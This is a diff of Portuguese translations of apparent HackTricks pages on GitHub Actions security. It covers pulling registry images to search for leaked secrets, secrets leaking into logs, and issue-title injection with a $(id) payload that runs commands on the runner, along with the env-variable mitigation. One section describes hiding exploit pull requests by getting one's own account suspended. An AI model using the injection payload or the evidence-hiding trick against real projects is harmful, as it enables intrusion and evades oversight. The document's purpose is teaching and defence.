Um exemplo pode ser encontrado no elemento expansível a seguir:
É possível criar Github actions que irão **construir e armazenar uma imagem Docker dentro do Github**.\\
Um exemplo pode ser encontrado no item expansível a seguir:
<details>
@@ -617,33 +617,33 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
```
</details>
Como você pode ver no código anterior, o Github registry é hospedado em **`ghcr.io`**.
Como você pode ver no código anterior, o Github registry está hospedado em **`ghcr.io`**.
Um usuário com permissões de leitura sobre o repositório poderá então baixar a Docker Image usando um personal access token:
Um usuário com permissões de leitura sobre o repo poderá então baixar a Docker Image usando um personal access token:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
Then, the user could search for **leaked secrets in the Docker image layers:**
Então, o usuário poderia buscar por **leaked secrets in the Docker image layers:**
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### Informações sensíveis nos logs do Github Actions
### Informações sensíveis nos Github Actions logs
Mesmo que o **Github** tente **detectar valores secretos** nos logs das actions e **evitar mostrálos**, **outros dados sensíveis** que possam ter sido gerados durante a execução da action não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado a menos que esteja [especificamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
Mesmo que o **Github** tente **detectar valores secretos** nos logs das actions e **evitar mostrá-los**, **outros dados sensíveis** que possam ter sido gerados durante a execução da action não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado a menos que seja [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Encobrindo seus rastros
## Ocultando seus rastros
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primeiro de tudo, qualquer PR criado é claramente visível ao público no Github e para a conta GitHub alvo. No GitHub por padrão, nós **não podemos deletar um PR da internet**, mas há uma reviravolta. Para contas do Github que são **suspensas** pelo Github, todos os seus **PRs são automaticamente deletados** e removidos da internet. Então, para esconder sua atividade você precisa ou conseguir que sua **conta GitHub seja suspensa ou que sua conta seja sinalizada**. Isso iria **esconder todas as suas atividades** no GitHub da internet (basicamente remover todos os seus exploit PR).
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Antes de tudo, qualquer PR aberto fica claramente visível ao público no Github e para a conta GitHub alvo. No GitHub, por padrão, nós **não podemos apagar um PR da internet**, mas há um detalhe. Para contas do Github que são **suspensas** pelo Github, todos os seus **PRs são automaticamente deletados** e removidos da internet. Então, para esconder sua atividade você precisa ou fazer com que sua **conta GitHub seja suspensa ou que sua conta seja sinalizada**. Isso **ocultaria todas as suas atividades** no GitHub da internet (basicamente remover todos os seus exploit PR)
Uma organização no GitHub é muito proativa em reportar contas ao GitHub. Tudo que você precisa fazer é compartilhar “algumas coisas” em um Issue e eles vão garantir que sua conta seja suspensa em 12 horas :p e pronto, seu exploit fica invisível no github.
Uma organização no GitHub é muito pró-ativa em reportar contas ao GitHub. Tudo que você precisa fazer é compartilhar “algumas coisas” em um Issue e eles vão garantir que sua conta seja suspensa em 12 horas :p e pronto, seu exploit fica invisível no GitHub.
> [!WARNING]
> A única maneira de uma organização descobrir que foi alvo é checar os logs do GitHub no SIEM, já que pela UI do GitHub o PR teria sido removido.
> A única maneira de uma organização descobrir que foi alvo é checar os logs do GitHub via SIEM, já que a partir do GitHub UI o PR seria removido.
## References
## Referências
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)

View File

@@ -4,16 +4,16 @@
## Entendendo o risco
GitHub Actions renderiza expressões ${{ ... }} antes da etapa ser executada. O valor renderizado é inserido no programa da etapa (para run steps, um shell script). Se você interpolar entrada não confiável diretamente dentro de run:, o atacante controla parte do programa do shell e pode executar comandos arbitrários.
GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the steps program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
Pontos-chave:
- A renderização ocorre antes da execução. O run script é gerado com todas as expressões resolvidas e então executado pelo shell.
- Muitos contexts contêm campos controlados pelo usuário dependendo do evento que o disparou (issues, PRs, comments, discussions, forks, stars, etc.). Veja a referência de untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
- Shell quoting inside run: não é uma defesa confiável, porque a injeção ocorre na fase de renderização do template. Atacantes podem quebrar as aspas ou injetar operadores via entrada especialmente criada.
- A renderização ocorre antes da execução. O script de run é gerado com todas as expressões resolvidas e então executado pelo shell.
- Muitos contexts contêm campos controlados pelo usuário dependendo do evento que dispara (issues, PRs, comments, discussions, forks, stars, etc.). Veja a referência de untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
- Shell quoting dentro de run: não é uma defesa confiável, porque a injeção acontece na fase de renderização do template. Atacantes podem sair das aspas ou injetar operadores via input maliciosamente construído.
## Padrão vulnerável → RCE no runner
## Vulnerable pattern → RCE on runner
Workflow vulnerável (disparado quando alguém abre uma nova issue):
```yaml
@@ -36,7 +36,7 @@ with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
```
Se um atacante abrir uma issue intitulada $(id), a etapa renderizada torna-se:
Se um atacante abrir uma issue com o título $(id), o step renderizado torna-se:
```sh
echo "New issue $(id) created"
```
@@ -45,11 +45,11 @@ A substituição de comando executa id no runner. Exemplo de saída:
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
```
Por que colocar entre aspas não te salva:
- As expressões são renderizadas primeiro, e então o script resultante é executado. Se o valor não confiável contiver $(...), `;`, `"`/`'`, ou quebras de linha, ele pode alterar a estrutura do programa apesar das suas aspas.
- As expressões são renderizadas primeiro, depois o script resultante é executado. Se o valor não confiável contiver $(...), `;`, `"`/`'`, ou quebras de linha, ele pode alterar a estrutura do programa apesar das suas aspas.
## Padrão seguro (variáveis shell via env)
## Padrão seguro (shell variables via env)
Mitigação correta: copie a entrada não confiável para uma variável de ambiente e, em seguida, use expansão nativa do shell ($VAR) no script de execução. Não reinserir com ${{ ... }} dentro do comando.
Mitigação correta: copie a entrada não confiável para uma variável de ambiente, depois use a expansão nativa do shell ($VAR) no run script. Não re-incorpore com ${{ ... }} dentro do comando.
```yaml
# safe
jobs:
@@ -66,9 +66,9 @@ Notas:
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
## Superfícies acionáveis por leitores (trate como não confiáveis)
## Reader-triggerable surfaces (treat as untrusted)
Contas com permissão somente de leitura em repositórios públicos ainda podem acionar muitos eventos. Qualquer campo em contexts derivados desses eventos deve ser considerado controlado por um atacante, a menos que se prove o contrário. Exemplos:
Contas com apenas permissão de leitura em repositórios públicos ainda podem acionar muitos eventos. Qualquer campo em contexts derivados desses eventos deve ser considerado controlado pelo atacante, a menos que se prove o contrário. Exemplos:
- issues, issue_comment
- discussion, discussion_comment (orgs can restrict discussions)
- pull_request, pull_request_review, pull_request_review_comment
@@ -79,14 +79,14 @@ Contas com permissão somente de leitura em repositórios públicos ainda podem
Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Labs untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
## Dicas práticas
## Practical tips
- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
## Referências
## References
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)